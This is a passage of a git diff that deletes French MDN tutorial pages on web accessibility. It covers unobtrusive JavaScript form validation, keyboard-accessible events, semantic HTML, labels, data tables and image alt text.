En plus d'utiliser le bon élément pour le bon travail, vous devez également vous assurer que vous utilisez la bonne technologie pour le bon travail ! Réfléchissez bien pour savoir si vous avez besoin de cette boîte d’informations 3D brillante reposant sur JavaScript, ou si un texte ordinaire avec du CSS conviendrait. Réfléchissez bien pour savoir si vous avez besoin d'un widget de formulaire non standard complexe ou d'une saisie de texte. Et ne générez pas tout votre contenu HTML en utilisant JavaScript si possible.

- -

Le garder discret

- -

Lors de la création de votre contenu, gardez à l'esprit l'idée d'un JavaScript discret, en retrait. JavaScript est discret quand il est utilisé pour améliorer des fonctionnalités, il devient gênant quand ces mêmes fonctionnalités sont développées entièrement en JavaScript. Les fonctions de base de votre page devraient idéalement tourner sans JavaScript, même s’il est évident que ce n’est pas toujours possible. La règle est d'utiliser lorsque cela est possible les fonctionnalités intégrées au navigateur.

- -

De bons exemples d'utilisation de JavaScript discret incluent :

- - - -

Par exemple, nous avons écrit un exemple de validation de formulaire côté client rapide — voir form-validation.html (voir aussi la démonstration en direct). Ici, vous verrez un formulaire simple. Lorsque vous essayez de soumettre le formulaire avec un ou les deux champs vides, l'envoi échoue et un message d'erreur s'affiche pour vous indiquer ce qui ne va pas.

- -

Ce type de validation de formulaire est discret — vous pouvez toujours utiliser le formulaire parfaitement sans que le JavaScript soit disponible, et toute implémentation de formulaire sensée aura également une validation côté serveur, car il est trop facile pour les utilisateurs malveillants de contourner la validation côté client (en désactivant JavaScript dans le navigateur, par exemple). La validation côté client est toujours très utile pour signaler les erreurs — les utilisateurs peuvent savoir instantanément quelles erreurs ils commettent, au lieu d'attendre un aller-retour vers le serveur et un rechargement de page. C'est un avantage certain en termes de convivialité.

- -
-

Note : La validation côté serveur n'a pas été implémentée dans cette simple démonstration.

-
- -

Nous avons également rendu cette validation de formulaire assez accessible. Nous avons utilisé des éléments {{htmlelement("label")}} pour nous assurer que les libellés des formulaires sont liés de manière non équivoque à leurs entrées, afin que les lecteurs d'écran puissent les lire au fur et à mesure :

- -
<label for="name"> Entrez votre nom :</label>
-<input type="text" name="name" id="name">
- -

Nous ne faisons la validation qu'une fois le formulaire soumis — ceci afin de ne pas mettre à jour l'interface utilisateur trop souvent et de ne pas perturber les utilisateurs du lecteur d'écran (et éventuellement d'autres) :

- -
form.onsubmit = validate;
-
-function validate(e) {
-  errorList.innerHTML = '';
-  for(var i = 0; i < formItems.length; i++) {
-    var testItem = formItems[i];
-    if(testItem.input.value === '') {
-      errorField.style.left = '360px';
-      createLink(testItem);
-    }
-  }
-
-  if(errorList.innerHTML !== '') {
-    e.preventDefault();
-  }
-}
- -
-

Note :  Dans cet exemple, nous masquons et montrons la boîte de message d'erreur en utilisant le positionnement absolu plutôt qu'une autre méthode telle que la visibilité ou l'affichage, car cela n'empêche pas le lecteur d'écran de pouvoir lire le contenu de celui-ci.

-
- -

La validation du formulaire réel serait beaucoup plus complexe que cela : vous voudriez vérifier que le nom saisi ressemble réellement à un nom, que l’âge entré est en réalité un nombre et qu’il est réaliste (par exemple, pas un nombre négatif, ni à quatre chiffres). Ici, nous venons d'implémenter la vérification simple qu'une valeur a été renseignée dans chaque champ de saisie (if(testItem.input.value === '')).

- -

Une fois la validation effectuée, si les tests réussissent, le formulaire est soumis. S'il y a des erreurs  (if(errorList.innerHTML !== ''))  nous arrêtons la soumission du formulaire ( à l'aide de event.preventDefault()), et affichons tous les messages d'erreur créés (voir ci-dessous). Ce mécanisme signifie que les erreurs ne seront affichées que s’il y a des erreurs, ce qui est meilleur pour la facilité d’utilisation.

- -

Pour chaque entrée pour laquelle aucune valeur n'a été renseignée lors de la soumission du formulaire, nous créons un élément de liste avec un lien et l'insérons dans la liste errorList.

- -
function createLink(testItem) {
-  var listItem = document.createElement('li');
-  var anchor = document.createElement('a');
-  anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.';
-  anchor.href = '#' + testItem.input.name;
-  anchor.onclick = function() {
-    testItem.input.focus();
-  };
-  listItem.appendChild(anchor);
-  errorList.appendChild(listItem);
-}
- -

Chaque lien a un double objectif — il vous dit quelle est l’erreur, vous pouvez aussi cliquer dessus / l’activer pour passer directement à l’élément d’entrée en question et corriger votre saisie.

- -
-

Note :  La partie focus()  de cet exemple est un peu délicate. Chrome et Edge (et les versions plus récentes d'IE) focalisent l'élément lorsque l'utilisateur clique sur le lien, sans avoir besoin du bloc onclick/focus().  Safari ne mettra en évidence que l'élément de formulaire avec le lien, il a donc besoin du bloc onclick/focus()  pour le focaliser. Firefox ne focalise pas les entrées correctement dans ce contexte, les utilisateurs de Firefox ne peuvent donc pas en profiter pour le moment (bien que tout le reste fonctionne bien). Le problème de Firefox devrait bientôt être résolu - des efforts sont en cours pour donner la parité des comportements de Firefox aux autres navigateurs (voir {{bug(277178)}}).

-
- -

De plus, le champ errorField est placé en haut de l'ordre source (bien qu'il soit positionné différemment dans UI à l'aide de CSS), ce qui signifie que les utilisateurs peuvent savoir exactement ce qui ne va pas avec les soumissions de formulaire et accéder aux éléments d'entrée en question en remontant au début de la page

- -

Pour terminer, nous avons utilisé certains attributs de WAI-ARIA dans notre démonstration pour résoudre les problèmes d’accessibilité causés par des zones de contenu constamment mises à jour sans rechargement de page (les lecteurs d’écran ne le détectent pas et n'en avertissent pas les utilisateurs par défaut) :

- -
<div class="errors" role="alert" aria-relevant="all">
-  <ul>
-  </ul>
-</div>
- -

Nous expliquerons ces attributs dans notre prochain article, qui couvre WAI-ARIA de manière beaucoup plus détaillée.

- -
-

Note :  Certains d'entre vous penseront probablement au fait que les formulaires HTML5 ont des mécanismes de validation intégrés tels que les attributs required, min/minlength, et max/maxlength  (voir {{htmlelement("input")}} référence d'élément pour plus d'informations). Nous avons fini par ne pas les utiliser dans la démo, car la prise en charge multi-navigateurs est inégale (par exemple, IE10 et versions ultérieures, pas de prise en charge de Safari).

-
- -
-

Note : WebAIM's Validation de formulaire et récupération d'erreur utilisables et accessibles (EN) fournit des informations supplémentaires utiles sur la validation de formulaire accessible.

-
- -

Autres problèmes d'accessibilité JavaScript

- -

Il y a d'autres choses à prendre en compte quand on met en œuvre des solutions JavaScript tout en réflechissant à l'accessibilité. Voilà déjà une liste de points à surveiller, que nous complèterons à chaque fois qu'un nouveau cas se présente.

- -

Événements spécifiques à la souris

- -

Comme vous le savez peut-être, la plupart des interactions utilisateur sont implémentées dans JavaScript côté client à l'aide de gestionnaires d'événements, ce qui nous permet d'exécuter des fonctions en réponse à certains événements. Certains événements peuvent avoir des problèmes d'accessibilité. L'exemple principal que vous rencontrerez concerne des événements spécifiques à la souris tels que  mouseover, mouseout, dblclick, etc. Les fonctionnalités qui s'exécutent en réponse à ces événements ne seront pas accessibles à l'aide d'autres mécanismes, tels que les contrôles du clavier.

- -

Pour résoudre de tels problèmes, vous devez doubler ces événements avec des événements similaires pouvant être activés par d'autres moyens (appelés gestionnaires d'événements indépendants du périphérique) —focus et blur (event) fourniraient une accessibilité aux utilisateurs de clavier. 

- -

Regardons un exemple qui illustre cela. Considérons une image miniature ; quand elle est survolée ou ciblée (comme sur un catalogue de produits de commerce électronique) une version plus grande de l’image s'affiche.

- -

Nous avons créé un exemple très simple, que vous pouvez trouver sur Exemple d'événements de souris et de clavier (voir aussi le code source). Le code comporte deux fonctions qui affichent et cachent l'image agrandie ; ceux-ci sont gérés par les lignes suivantes qui les définissent en tant que gestionnaires d'événements :

- -
imgThumb.onmouseover = showImg;
-imgThumb.onmouseout = hideImg;
-
-imgThumb.onfocus = showImg;
-imgThumb.onblur = hideImg;
- -

Les deux premières lignes exécutent les fonctions lorsque le pointeur de la souris survole et cesse de survoler la vignette, respectivement. Cela ne nous permettra toutefois pas d'accéder à la vue agrandie à l'aide du clavier ; pour cela, nous avons inclus les deux dernières lignes, qui exécutent les fonctions lorsque l'image est nette et floue (lorsque la mise au point s'arrête). Cela peut être fait en tapant sur l'image, car nous avons inclus  tabindex="0" dessus.

- -

L'événement click est intéressant — cela semble dépendre de la souris, mais la plupart des navigateurs activent les gestionnaires d'événement element.onclick  après avoir  pressé Entrée  sur un lien ou un élément de formulaire ciblé, ou lorsqu'un tel élément est touché sur un écran tactile. Cependant, cela ne fonctionne pas par défaut lorsque vous autorisez un événement à ne pas être mis au point par défaut à l'aide de tabindex. Dans ce cas, vous devez détecter précisément le moment exact où cette touche est enfoncée (voir Remettre l'accessibilité au clavier).

- -

Résumé

- -

Nous espérons que cet article vous a fourni beaucoup de détails et de compréhension sur les problèmes d'accessibilité liés à l'utilisation de CSS et de JavaScript sur les pages Web.

- -

Ensuite, WAI-ARIA !

- -
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
- -
-

Dans ce module

- - -
diff --git a/files/fr/apprendre/a11y/html/index.html b/files/fr/apprendre/a11y/html/index.html deleted file mode 100644 index 03b80cbb80..0000000000 --- a/files/fr/apprendre/a11y/html/index.html +++ /dev/null @@ -1,530 +0,0 @@ ---- -title: 'HTML : une bonne base pour l''accessibilité' -slug: Apprendre/a11y/HTML -tags: - - Accessibilité - - Article - - Clavier - - Débutant - - Forms - - HTML - - Liens - - a11y - - boutons - - sémantique -translation_of: Learn/Accessibility/HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}
- -

Une grande partie des contenus web peut être rendue accessible simplement en s'assurant d'utiliser les éléments HTML appropriés systématiquement. Cet article détaille comment HTML peut être utilisé pour un maximum d'accessibilité.

- - - - - - - - - - - - -
Prérequis :Compétences informatiques de base, compréhension basique de HTML (voir Introduction à HTML), et compréhension de Qu'est ce que l'accessibilité ?
Objectif :Se familiariser avec les fonctionnalités de HTML qui bénéficient à l'accessibilité, et comment les utiliser de manière appropriée dans vos documents web.
- -

HTML et accessibilité

- -

Plus vous apprenez le HTML — plus vous lisez de ressources, regardez d'exemples — plus vous recontrerez un thème récurrent : l'importance d'utiliser du HTML sémantique, parfois appelé POSH (Plain Old Semantic HTML). C'est l'usage des éléments HTML appropriés autant que possible.

- -

Vous pouvez vous demander pourquoi c'est si important. Après tout, vous pouvez utiliser une combinaison de CSS et de JavaScript pour faire fonctionner n'importe quel élément HTML de la manière que vous souhaitez. Par exemple, un bouton de lecture pour une vidéo sur votre site pourrait être codé ainsi :

- -
<div>Lire la vidéo</div>
- -

Mais comme vous le verrez en détail plus loin, il est beaucoup plus sensé d'utiliser le bon élément à cet effet :

- -
<button>Lire la vidéo</button>
- -

Non seulement  <button> possède des styles adéquats par défaut (que vous voudrez probablement surcharger), il intègre aussi l'accès au clavier — on peut tabuler dessus, et l'activer avec la touche entrée.

- -

Le HTML sémantique ne demande pas plus de temps à écrire que du (mauvais) balisage non-sémantique si vous le faites de manière constante dès le début de votre projet, et il a également des bénéfices au delà de l'accessibilité :

- -
    -
  1. Facilite les développements — comme mentionné ci-dessus, certaines fonctionnalités sont gratuites, et c'est indiscutablement plus compréhensible.
    2. -
  2. Meilleur pour le mobile — le HTML sémantique est indiscutablement plus léger en la taille du fichier que le code spaghetti non sémantique, et plus aisé à rendre responsive. 
    3. -
  3. Bon pour le SEO — les moteurs de recherche donnent plus d'importance aux mots clés contenus dans les titres, liens, etc. que des mots-clés contenus dans des <div> non sémantiques, et donc vos documents seront plus facilement trouvés par vos clients.
    4. -
- -

Continuons et jetons un œil au HTML accessible dans le détail.

- -
-

Note : C'est une bonne idée d'avoir un lecteur d'écran configuré, pour tester les exemples ci-dessous. Voir notre guide pour gérer les problèmes courants d'accessibilité pour plus de détails.

-
- -

Une bonne sémantique

- -

Nous avons déjà parlé de l'importance d'une bonne sémantique, et pourquoi nous devons utiliser le bon élément HTML pour le bon usage. Il ne faut pas l'ignorer car c'est une des principales causes d'importants problèmes d'accessibilité si ce n'est pas fait correctement.

- -

En vérité sur le Web, les développeurs font d'étranges choses avec HTML. Certains abus en HTML sont hérités de vieilles pratiques obsolètes pas complètement oubliées, d'autre sont juste de l'ignorance. Dans tous les cas, vous devez remplacer ce mauvais code partout où vous le verrez, dès que vous le pourrez.

- -

Parfois vous ne pourrez pas vous débarrasser du mauvais balisage — vos pages seront générées par quelque framework côté serveur dont vous n'aurez pas le contrôle total, ou vous aurez des contenus tiers (comme des bannières publicitaires) que nous ne contrôlerez pas.

- -

L'objectif cependant n'est pas « tout ou rien » — toute amélioration que vous pouvez faire aidera la cause de l'accessibilité.

- -

Contenus textuels

- -

L'une des meilleures aides en accessibilité qu'un utilisateur de lecteur d'écran peut avoir est une bonne structure des titres, paragraphes, listes, etc. Un bon exemple sémantique devrait ressembler au code suivant :

- -
<h1>Mon titre</h1>
-
-<p>Ceci est la premère section de mon document.</p>
-
-<p>Je vais ajouter ici un autre paragraphe.</p>
-
-<ol>
-  <li>Voici</li>
-  <li>une liste pour</li>
-  <li>toi à lire.</li>
-</ol>
-
-<h2>Mon sous-titre</h2>
-
-<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu!</p>
-
-<h2>Mon second sous-titre</h2>
-
-<p>Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière.</p>
- -

Nous avons préparé pour vous une version avec un texte plus long afin de l'essayer avec lecteur d'écran (voir la bonne sémantique). Si vous essayez de naviguer dans ce document, vous verrez qu'il est assez simple de s'y retrouver :

- -
    -
  1. Le lecteur d'écran lit à voix haute chaque élément au fur et à mesure que vous progressez dans le contenu, vous notifiant ce qui est un paragraphe, ce qui est un titre, etc.
    2. -
  2. Il s'arrête après chaque élément, vous laissant aller à n'importe quel endroit vous convenant.
    3. -
  3. Vous pouvez sauter au précédent ou au prochain titre avec de nombreux lecteurs d'écran.
    4. -
  4. Vous pouvez aussi dresser une liste de tous les titres avec de nombreux lecteurs d'écrans, vous permettant de les utiliser comme une table des matières pratique pour trouver un contenu spécifique.
    5. -
- -

Les gens écrivent parfois des titres, des paragraphes, etc. utilisant le HTML de présentation et retours à la ligne, quelque chose comme ce qui suit :

- -
<font size="7">Mon titre</font>
-<br><br>
-Ceci est la première section de mon document.
-<br><br>
-Je vais ajouter ici un autre paragraphe.
-<br><br>
-1. Voici
-<br><br>
-2. une liste pour
-<br><br>
-3. toi à lire.
-<br><br>
-<font size="5">Mon sous-titre</font>
-<br><br>
-<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu!
-<br><br>
-<font size="5">My 2nd subheading</font>
-<br><br>
-Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière.
- -

Si vous essayez notre version plus longue avec un lecteur d'écran (voir la mauvaise sémantique), vous n'aurez pas une très bonne expérience – le lecteur d'écran n'a plus rien à utiliser comme indicateur, il ne peut pas récupérer une table des matières utilisable, et la page entière est vue comme un bloc unique, lu tout d'une traite.

- -

Il y a aussi d'autres problèmes au-delà de l'accessibilité – le contenu est plus dur à mettre en forme avec le CSS, ou à manipuler avec JavaScript par exemple, car il n'y a pas d'élément à utiliser comme sélecteurs.

- -

Utiliser un langage clair

- -

Le langage que vous employez peut aussi affecter l'accessiblité. En général vous ne devriez pas utiliser un langage trop complexe, ni utiliser un jargon ou de l'argot inutiles. Cela ne profite pas qu'aux gens avec des handicaps congnitifs ou autres ; cela profite au lecteur pour qui le texte n'est pas écrit dans sa langue maternelle, pour des gens plus jeunes… à tout un chacun en fait ! Mis à part cela, vous devriez essayer d'éviter d'utiliser un langage et des caractères qui ne sont pas lus clairement à voix haute par le lecteur d'écran. Par exemple :

- - - -

Disposition des pages

- -

Dans les âges sombres, les gens avaient pour habitude de créer les dispositions de leurs pages avec des tableaux HTML — en utilisant différentes cellules de ces tableaux pour contenir l'en-tête, le pied de page, une barre latérale, la colonne du contenu principal, etc. Ce n'est pas une bonne idée car un lecteur d'écran va donner des lectures déroutantes, surtout si la disposition est complexe et a de nombreux tableaux imbriqués.

- -

Essayez notre exemple table-layout.html, qui ressemble à quelque chose comme ça :

- -
<table width="1200">
-      <!-- main heading row -->
-      <tr id="heading">
-        <td colspan="6">
-
-          <h1 align="center">Header</h1>
-
-        </td>
-      </tr>
-      <!-- nav menu row  -->
-      <tr id="nav" bgcolor="#ffffff">
-        <td width="200">
-          <a href="#" align="center">Home</a>
-        </td>
-        <td width="200">
-          <a href="#" align="center">Our team</a>
-        </td>
-        <td width="200">
-          <a href="#" align="center">Projects</a>
-        </td>
-        <td width="200">
-          <a href="#" align="center">Contact</a>
-        </td>
-        <td width="300">
-          <form width="300">
-            <input type="search" name="q" placeholder="Search query" width="300">
-          </form>
-        </td>
-        <td width="100">
-          <button width="100">Go!</button>
-        </td>
-      </tr>
-      <!-- spacer row -->
-      <tr id="spacer" height="10">
-        <td>
-
-        </td>
-      </tr>
-      <!-- main content and aside row -->
-      <tr id="main">
-        <td id="content" colspan="4" bgcolor="#ffffff">
-
-          <!-- main content goes here -->
-        </td>
-        <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top">
-          <h2>Related</h2>
-
-          <!-- aside content goes here -->
-
-        </td>
-      </tr>
-      <!-- spacer row -->
-      <tr id="spacer" height="10">
-        <td>
-
-        </td>
-      </tr>
-      <!-- footer row -->
-      <tr id="footer" bgcolor="#ffffff">
-        <td colspan="6">
-          <p>©Copyright 2050 by nobody. All rights reversed.</p>
-        </td>
-      </tr>
-    </table>
- -

Si vous essayez de naviguer à l'aide d'un lecteur d'écran, cela vous indiquera probablement qu'il existe un tableau à examiner (bien que certains lecteurs d'écran puissent deviner la différence entre les présentations de tableau et les tableaux de données). Vous devrez ensuite (en fonction du lecteur d’écran que vous utilisez) devoir accéder à la table en tant qu’objet et en examiner les caractéristiques séparément, puis sortir à nouveau de la table pour continuer à naviguer dans le contenu.

- -

Les structures de table sont un vestige du passé – elles semblaient logiques lorsque le support CSS n’était pas répandu dans les navigateurs, mais elles semaient la confusion chez les utilisateurs de lecteurs d’écran, tout en étant mauvaises pour de nombreuses autres raisons (utilisation abusive des tableaux, nécessite plus de balisage, design manquant de souplesse). Ne les utilisez pas !

- -

Vous pouvez vérifier ces affirmations en comparant votre expérience antérieure avec un  exemple plus moderne de structure de site Web, qui pourrait ressembler à ceci :

- -
<header>
-  <h1>Entête</h1>
-</header>
-
-<nav>
-  <!--  navigation principale ici  -->
-</nav>
-
-<!--  Voici le contenu principal de notre page  -->
-<main>
-
-  <!--  Il contient un article  -->
-  <article>
-    <h2>Intitulé de l'article</h2>
-
-    <!--  contenu de l'article ici  -->
-  </article>
-
-  <aside>
-    <h2>en relation</h2>
-
-    <!--  à part le contenu ici  -->
-  </aside>
-
-</main>
-
-<!--  Et voici notre pied de page principal utilisé dans toutes les pages de notre site Web. -->
-
-<footer>
-  <!--  contenu du pied de page ici  -->
-</footer>
- -

Si vous essayez notre exemple plus moderne de structure avec un lecteur d’écran, vous verrez que le balisage de présentation ne gêne plus ni ne rend la lecture du contenu confuse. Il est également beaucoup plus léger et plus petit en termes de taille de code, ce qui signifie une maintenance plus facile du code et une sollicitation moindre de la bande passante par l'utilisateur (particulièrement critique en cas de connexions lentes).

- -

Une autre considération à prendre en compte lors de la création de dispositions consiste à utiliser des éléments sémantiques HTML5 comme dans l'exemple ci-dessus (voir Référence des éléments HTML). Vous pouvez créer une disposition en utilisant uniquement des éléments {{htmlelement("div")}} imbriqués, mais il est préférable d'utiliser des éléments de sectionnement appropriés pour envelopper votre navigation principale ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), en répétant des unités de contenu ({{htmlelement("article")}}), etc. Elles fournissent une sémantique supplémentaire aux lecteurs d’écran (et à d’autres outils) pour donner à l’utilisateur des indices supplémentaires sur le contenu qu’il navigue (voir Prise en charge du lecteur d’écran pour les nouveaux éléments de section HTML5 pour une idée de la prise en charge du lecteur d’écran).

- -
-

Note : Outre le fait que votre contenu présente une bonne sémantique et une présentation attrayante, il convient que son ordre source soit logique : vous pouvez toujours le placer où vous le souhaitez à l'aide de CSS par la suite, mais vous devez définir l'ordre exact des sources pour commencer. les utilisateurs de lecteur d’écran qui se liront auront du sens.

-
- -

Contrôles de l'interface utilisateur

- -

Par contrôles d'interface utilisateur, nous entendons les parties principales des documents web avec lesquelles les utilisateurs interagissent – le plus souvent des boutons, des liens et des contrôles de formulaire. Dans cette section, nous examinerons les problèmes d’accessibilité de base à prendre en compte lors de la création de tels contrôles. Des articles ultérieurs sur WAI-ARIA et le multimédia aborderont d'autres aspects de l'accessibilité de l'interface utilisateur.

- -

L'un des aspects clés de l'accessibilité des contrôles de l'interface utilisateur est que, par défaut, les navigateurs leur permettent d'être manipulés par le clavier. Vous pouvez essayer ceci en utilisant notre exemple accessibilité du clavier natif (voir le code source) – ouvrez-le dans un nouvel onglet et essayez d’appuyer sur la touche de tabulation; après quelques appuis, vous devriez voir le focus de l'onglet commencer à se déplacer à travers les différents éléments qui peuvent être mis au point ; les éléments focalisés se voient attribuer un style par défaut en surbrillance dans chaque navigateur (il diffère légèrement d’un navigateur à l’autre) afin que vous puissiez déterminer quel élément est ciblé.

- -

- -

Vous pouvez ensuite appuyer sur Entrée/Retour pour suivre un lien sélectionné ou appuyer sur un bouton (nous avons inclus du JavaScript pour que les boutons alertent un message), ou commencer à taper pour saisir du texte dans une entrée de texte (les autres éléments de formulaire ont des contrôles différents, par exemple, l'élément  {{htmlelement("select")}} peut avoir ses options affichées et alterner entre les touches fléchées haut et bas). 

- -
-

Note :  Différents navigateurs peuvent avoir différentes options de contrôle du clavier disponibles. Voir comment gérer les problèmes courants d'accessibilité pour plus de détails.

-
- -

Vous obtenez essentiellement ce comportement gratuitement, en utilisant simplement les éléments appropriés, par exemple :

- -
<h1>Liens</h1>
-
-<p> Ceci est un lien vers  <a href="https://www.mozilla.org">Mozilla</a>.</p>
-
-<p> Un autre lien, pour  <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p>
-
-<h2>Boutons</h2>
-
-<p>
-  <button data-message="This is from the first button">Cliquez moi!</button>
-  <button data-message="This is from the second button"> Cliquez moi aussi !</button>
-  <button data-message="This is from the third button">Et moi!</button>
-</p>
-
-<h2>formulaire</h2>
-
-<form>
-  <div>
-    <label for="name"> Remplis ton nom :</label>
-    <input type="text" id="name" name="name">
-  </div>
-  <div>
-    <label for="age"> Entrez votre âge :</label>
-    <input type="text" id="age" name="age">
-  </div>
-  <div>
-    <label for="mood"> Choisissez votre humeur :</label>
-    <select id="mood" name="mood">
-      <option>Heureux</option>
-      <option> Triste </option>
-      <option> Fâché </option>
-      <option> Préoccupé </option>
-    </select>
-  </div>
-</form>
- -

Cela signifie que vous devez utiliser des liens, des boutons, des éléments de formulaire et des étiquettes de manière appropriée (y compris l'élément {{htmlelement("label")}} pour les contrôles de formulaire).

- -

Cependant, il est encore une fois que les gens font parfois des choses étranges avec HTML. Par exemple, vous voyez parfois des boutons balisés en utilisant {{htmlelement("div")}}s, par exemple :

- -
<div data-message="This is from the first button"> Cliquez-moi!</div>
-<div data-message="This is from the second button">  Cliquez moi aussi!</div>
-<div data-message="This is from the third button"> Et moi!</div>
- -

Il est toutefois déconseillé d’utiliser un tel code. Vous perdriez immédiatement l’accessibilité au clavier natif que vous auriez obtenue si vous aviez utilisé des éléments  {{htmlelement("button")}}. De plus, vous n’obtenez aucun des styles CSS par défaut que les boutons ont.

- -

Remettre l'accessibilité au clavier

- -

Ajouter de tels avantages en retour demande un peu de travail (vous pouvez utiliser un exemple de code dans notre exemple fake-div-buttons.html – voir également le source code). Ici, nous avons donné à nos faux boutons <div> la possibilité se focaliser (y compris via la touche Tab) en donnant à chacun l'attribut tabindex="0" :

- -
<div data-message="This is from the first button" tabindex="0"> Cliquez-moi!</div>
-<div data-message="This is from the second button" tabindex="0"> Cliquez moi aussi!</div>
-<div data-message="This is from the third button" tabindex="0"> Et moi!</div>
- -

Fondamentalement, l'attribut {{htmlattrxref("tabindex")}} est principalement destiné à permettre aux éléments que l'on peut cibler avec la touche Tab d'avoir un ordre de tabulation personnalisé (spécifié dans l'ordre numérique positif), au lieu d'être simplement tabulés dans leur ordre source par défaut. C'est presque toujours une mauvaise idée, car cela peut causer une confusion majeure. Utilisez-le uniquement si vous en avez vraiment besoin, par exemple si la mise en page affiche les éléments dans un ordre visuel très différent de celui du code source et si vous souhaitez que les éléments fonctionnent de manière plus logique. Il y a deux autres options pour tabindex :

- - - -

Bien que l’addition ci-dessus nous permette de tabuler les boutons, elle ne nous permet pas de les activer via la touche Entrée/Retour. Pour ce faire, nous avons dû ajouter le bout de code JavaScript suivant :

- -
document.onkeydown = function(e) {
-  if(e.keyCode === 13) { // The Enter/Return key
-    document.activeElement.onclick(e);
-  }
-}
- -

Ici, nous ajoutons un écouteur à l’objet document pour détecter le moment où un bouton a été appuyé sur le clavier. Nous vérifions quel bouton a été pressé via la propriété keyCode de l'objet événement; s'il s'agit du code clé qui correspond Return/Enter, nous exécutons la fonction stockée dans le gestionnaire du bouton onclick à l'aide de document.activeElement.onclick(). activeElement nous donne l'élément qui est actuellement ciblé sur la page.

- -
-

Note : N'oubliez pas que cette technique ne fonctionnera que si vous définissez vos gestionnaires d'événements d'origine via les propriétés du gestionnaire d'événements (par exemple, onclick), addEventListener ne fonctionnera pas.

-
- -

C’est beaucoup de tracas supplémentaire pour reconstruire la fonctionnalité. Et il y aura sûrement d’autres problèmes. Mieux vaut utiliser le bon élément pour le bon travail en premier lieu.

- -

Étiquettes de texte significatives

- -

Les étiquettes de texte de contrôle UI sont très utiles pour tous les utilisateurs, mais leur mise au point est particulièrement importante pour les utilisateurs handicapés.

- -

Vous devez vous assurer que les libellés des boutons et des liens sont compréhensibles et distinctifs. Ne vous contentez pas d'utiliser « Cliquez ici » pour vos étiquettes, car les utilisateurs et utilisatrices de lecteur d'écran créent parfois une liste de boutons et de contrôles de formulaire. La capture d'écran suivante montre nos commandes répertoriées par VoiceOver sur Mac.

- -

- -

Assurez-vous que vos étiquettes ont une signification hors contexte, qu'elles soient lues séparément ou dans le contexte du paragraphe dans lequel elles se trouvent. Par exemple, voici un exemple de texte de lien de qualité :

- -
<p> Les baleines sont vraiment des créatures géniales . <a href="whales.html"> En savoir plus sur les baleines </a>.</p>
- -

c'est un mauvais texte du lien :

- -
<p> Les baleines sont des créatures vraiment impressionnantes. Pour en savoir plus sur les baleines,  <a href="whales.html">cliquez ici</a>.</p>
-
- -
-

Note:Vous pouvez trouver beaucoup plus d'informations sur l'implémentation de liens et les meilleures pratiques dans notre article sur la création d'hyperliens. Vous pouvez également voir quelques bons et mauvais exemples dans Bons-liens.html et Mauvais-liens.html.

-
- -

Les libellés de formulaire sont également importantes pour vous donner un indice sur ce que vous devez entrer dans chaque entrée de formulaire. Ce qui suit semble être un exemple assez raisonnable :

- -
 Remplis ton nom : <input type="text" id="name" name="name">
- -

Cependant, ce n'est pas très utile pour les utilisateurs handicapés. Dans l'exemple ci-dessus, rien n'associe de manière non équivoque l'étiquette à la saisie de formulaire et explique clairement comment la remplir si vous ne la voyez pas. Si vous y accédez avec certains lecteurs d’écran, vous ne recevrez peut-être qu’une description du type « éditer le texte".

- -

Ce qui suit est un exemple bien meilleur :

- -
<div>
-  <label for="name">Entrez votre nom:</label>
-  <input type="text" id="name" name="name">
-</div>
- -

Avec le code comme celui-ci, le label sera clairement associée à input; la description ressemblera davantage à "Entrez votre nom: éditez le texte".

- -

- -

En prime, dans la plupart des navigateurs, associer a un label à une form input signifie que vous pouvez cliquer sur celle-ci pour sélectionner / activer l'élément label. Cela donne à input une zone de résultats plus grande, ce qui facilite la sélection

- -
-

Note:vous pouvez voir des exemples de bonnes et de mauvaises de formulaire dans exemple de bon formulaire et exemple de mauvais formulaire.

-
- -

Tableaux de données accessibles

- -

Une table de données de base peut être écrite avec un balisage très simple, par exemple :

- -
<table>
-  <tr>
-    <td>Nom</td>
-    <td>Age</td>
-    <td>Sexe</td>
-  </tr>
-  <tr>
-    <td>Gabriel</td>
-    <td>13</td>
-    <td>Male</td>
-  </tr>
-  <tr>
-    <td>Elva</td>
-    <td>8</td>
-    <td>Femelle</td>
-  </tr>
-  <tr>
-    <td>Freida</td>
-    <td>5</td>
-    <td>Femelle</td>
-  </tr>
-</table>
- -

Mais cela pose des problèmes : un utilisateur de lecteur d’écran ne peut pas associer des lignes ou des colonnes en tant que groupes de données. Pour ce faire, vous devez savoir quelles sont les lignes d'en-tête et si elles sont dirigées vers le haut, des colonnes, etc. Cela ne peut être fait que visuellement pour le tableau ci-dessus (voir bad-table.html et essayez vous-même l'exemple).

- -

Regardez maintenant notre tableau d'exemple sur les groupes punk – vous pouvez voir quelques aides à l'accessibilité au travail ici :

- - - -
-

Note : voir notre article  Tableaux HTML : dispositions avancées et accessibilité pour plus de détails sur les tables de données accessibles.

-
- -

Alternatives textuelles

- -

Alors que le contenu textuel est intrinsèquement accessible, il n'en est pas de même pour le contenu multimédia : le contenu image/vidéo ne peut pas être vu par les personnes malvoyantes et le contenu audio ne peut pas être entendu par les malentendants. Nous verrons plus loin le contenu audio et vidéo dans l'article multimédia accessible, mais pour cet article, nous examinerons l'accessibilité pour l'élément humble {{htmlelement("img")}}.

- -

Nous avons un exemple simple écrit, accessible-image.html, comporte quatre copies de la même image :

- -
<img src="dinosaur.png">
-
-<img src="dinosaur.png"
-     alt=" Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées.">
-
-<img src="dinosaur.png"
-     alt=" Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées."
-     title=" Le dinosaure rouge de Mozilla ">
-
-
-<img src="dinosaur.png" aria-labelledby="dino-label">
-
